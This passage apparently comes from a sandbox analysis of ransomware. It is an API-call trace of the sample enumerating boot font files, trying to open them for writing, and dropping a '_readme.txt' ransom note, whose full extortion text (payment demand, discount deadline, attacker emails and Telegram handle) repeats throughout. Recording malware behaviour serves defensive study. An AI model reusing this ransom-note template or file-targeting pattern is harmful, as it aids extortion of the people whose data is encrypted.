(pszPath="C:\\Boot\\Fonts\\_readme.txt") returned 0 [0267.035] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x7d00) returned 0x311b6f8 [0267.035] lstrcpyW (in: lpString1=0x311b6f8, lpString2="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" [0267.035] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs", lpString2="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" [0267.035] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x310a230 [0267.035] CreateFileW (lpFileName="C:\\Boot\\Fonts\\_readme.txt" (normalized: "c:\\boot\\fonts\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0267.035] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x310a230 | out: hHeap=0x640000) returned 1 [0267.035] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311b6f8 | out: hHeap=0x640000) returned 1 [0267.036] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.036] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.036] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0267.036] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0267.036] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.036] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0267.036] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.036] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0267.036] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0267.036] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\chs_boot.ttf") returned=".ttf" [0267.036] CreateFileW (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0267.036] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081720 | out: hHeap=0x640000) returned 1 [0267.036] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0267.036] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.036] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0267.036] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0267.036] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\cht_boot.ttf") returned=".ttf" [0267.036] CreateFileW (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0267.037] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081720 | out: hHeap=0x640000) returned 1 [0267.037] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0267.037] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.037] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0267.037] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0267.037] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\jpn_boot.ttf") returned=".ttf" [0267.038] CreateFileW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0267.038] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081720 | out: hHeap=0x640000) returned 1 [0267.038] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0267.038] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.038] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0267.038] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0267.038] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\kor_boot.ttf") returned=".ttf" [0267.038] CreateFileW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0267.038] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081720 | out: hHeap=0x640000) returned 1 [0267.038] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0267.038] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.038] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0267.038] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0267.038] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned=".ttf" [0267.038] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0267.038] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081720 | out: hHeap=0x640000) returned 1 [0267.038] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0 [0267.038] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0267.039] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.039] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077390 | out: hHeap=0x640000) returned 1 [0267.039] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0267.039] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077390 [0267.039] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0267.039] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.039] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0267.039] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.039] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0267.039] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.039] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0267.039] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.039] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0267.039] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.039] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0267.039] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.039] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0267.039] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.039] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0267.039] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.039] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0267.039] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.039] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0267.040] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.040] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0267.040] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.040] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0267.040] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.040] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0267.040] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.040] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0267.040] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0267.040] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.040] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.040] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0267.040] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.040] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0267.040] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.040] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0267.040] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.040] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0267.040] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.040] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0267.040] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.040] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0267.040] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.040] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0267.040] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.041] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0267.041] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.041] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0267.041] PathFindFileNameW (pszPath="C:\\Boot\\fr-FR\\") returned="fr-FR\\" [0267.041] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0267.041] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.041] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0267.041] PathFindFileNameW (pszPath="") returned="" [0267.041] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75d10000 [0267.041] GetProcAddress (hModule=0x75d10000, lpProcName="SHGetFolderPathW") returned 0x75d95708 [0267.041] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x31106e0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0267.042] FreeLibrary (hLibModule=0x75d10000) returned 1 [0267.042] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0267.042] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.042] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.042] PathAppendW (in: pszPath="C:\\Boot\\fr-FR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\fr-FR\\_readme.txt") returned 1 [0267.042] PathFileExistsW (pszPath="C:\\Boot\\fr-FR\\_readme.txt") returned 0 [0267.042] lstrcpyW (in: lpString1=0x311b6f8, lpString2="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" [0267.042] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs", lpString2="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact 